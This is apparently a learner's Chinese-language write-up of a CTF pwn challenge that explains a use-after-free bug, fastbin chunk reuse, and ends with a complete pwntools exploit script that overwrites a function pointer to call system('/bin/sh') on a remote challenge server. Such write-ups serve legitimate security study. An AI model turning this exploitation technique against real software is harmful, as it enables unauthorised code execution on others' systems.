# PWN uaf 了解学习

刚刚接触堆,发现在看题的时候,对与 C 语言要求还挺高,需要了解指针是怎么一回事。所以我决定,下面一道例题要好好分析源代码,了解各个函数调用的意义。

# 首先先声明一下什么叫 uaf:

参考 ctfwiki

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

通过了解了原理,我们发现 uaf 是由于使用后再次 free 没有去置空指针,导致下一次被使用程序会再次到指针所指向的内容。

接下来我们通过一道例题去了解一下 uaf 漏洞的利用。

# 题目来源

# 首先检查程序保护措施:

image-20230810073539360

哦,对了。这里为啥 runpath 的路径是我本地的原因是,我用 patchelf 改了,将他变成 ubuntu16.04 版本的 glibc,为了去了解一下 fastbins 的作用(其实不用改也可以,在调试 18.04 的 glibc 版本,发现其实变化不大。

# 运行程序,去了解功能:

运行程序,发现 menu,有 4 个 node。

image-20230810073909996

  1. 选择 Create something

image-20230810074007769

  1. 选择 Print something

image-20230810074030177

  1. 选择 Delete something, 之后在 Print something

image-20230810074149061

这也就是这程序的主要功能了。

# 放入 IDA,进行函数分析:

  • main 函数:

    没什么好讲的,主要是去调用函数功能。

image-20230810075032398

  • add 函数:

    这一个 node 可以看见会申请两次堆空间,第一次是 0x10 的,第二次是我们输入的

image-20230810080910781

image-20230810081834751

这就是 add 后的 chunk,但是为啥第一个块内存有个地方我没标注内容,因为我暂时不知道。但是我后期调试发现应该是字符串的地址。

  • delete 函数:

    delete 会根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。

image-20230810083828105

image-20230810084236274

image-20230810084217308

所以这里我们利用 uaf,去申请 0x10 大小的空间,去覆写堆的指针即可(为何去申请 0x10 呢,我的理解就是,去申请 fastbins 里面相同大小的 chunk,便于再次利用指针的作用,从而控制程序的控制流。)

  • show 函数:

    这里面唯一的重点就是那个注释,因为通过这里,去执行这个函数,就能实现控制。比如 ptr [1] 处是 system 函数的地址,prt [[0] 处是 binsh 字符串的地址,那我们就能实现 system (’/bin/sh’) 的作用。

    image-20230810085041491

接下来是漏洞利用过程:
申请 note0(大小为 0x40):包括 put0 和 content0
申请 note1 (大小为 0x40) :包括 put1 和 content1
释放 note0:包括 free content0 和 free put0
释放 note1:包括 free content1 和 free put1

由于 put 段跟 content 段的大小是不同的,所以他们是在 bin 里面是两条链:如果你申请的 chunk 大小是 0x10,那么是从 put 的那条链申请。如果你申请的 chunk 大小是 0x20,那么就是从 content 的那条链申请。

所以我们再次申请要去申请 0x10 大小

申请 note2(大小为 0x10):则会申请一个 put2 一个 content2. 由于 put2 和 content2 大小都为 0x10,所以都会从 put 那条链上面申请。
所以,put2 申请到的是 put0 的位置,content2 申请到的是 put1 的位置。

很明显了,我们往 content2 里面填入 system 的地址和 binsh 地址,不就相当于往 note0 的 put0 里填入了 system 和 binsh?
那么我们在调用 show (0) 的时候,不就是调用了 system 函数吗?

为了更加高效地利用 fast bin,glibc 采用单向链表对其中的每个 bin 进行组织,并且每个 bin 采取 LIFO 策略

# 所以 exp 为:

n
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('node4.buuoj.cn',29844)
# r = gdb.debug('./bheap')
# r = process('./bheap')
elf = ELF('./bheap')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
def add(size,content):
	ru('Your choice: ')
	se(str(1))
	ru('Please input size: \n')
	se(str(size))
	ru('Please input content: \n')
	se(content)
def delete(index):
	ru('Your choice: ')
	se(str(2))
	ru('Please input list index: \n')
	se(str(index))
def Print(index):
	ru('Your choice: ')
	se(str(3))
	ru('Please input list index: \n')
	se(str(index))
# gdb.attach(r)
# pause()
add(0x20,b'a'*0x20)
# gdb.attach(r)
# pause()
add(0x20,b'b'*0x20)
# gdb.attach(r)
# pause()
delete(0)
# gdb.attach(r)
# pause()
delete(1)
system = 0x4007A0
binsh = 0x0602010
# gdb.attach(r)
# pause()
add(0x10,p64(binsh)+p64(system))
# gdb.attach(r)
# pause()
Print(0)
r.interactive()
更新于 阅读次数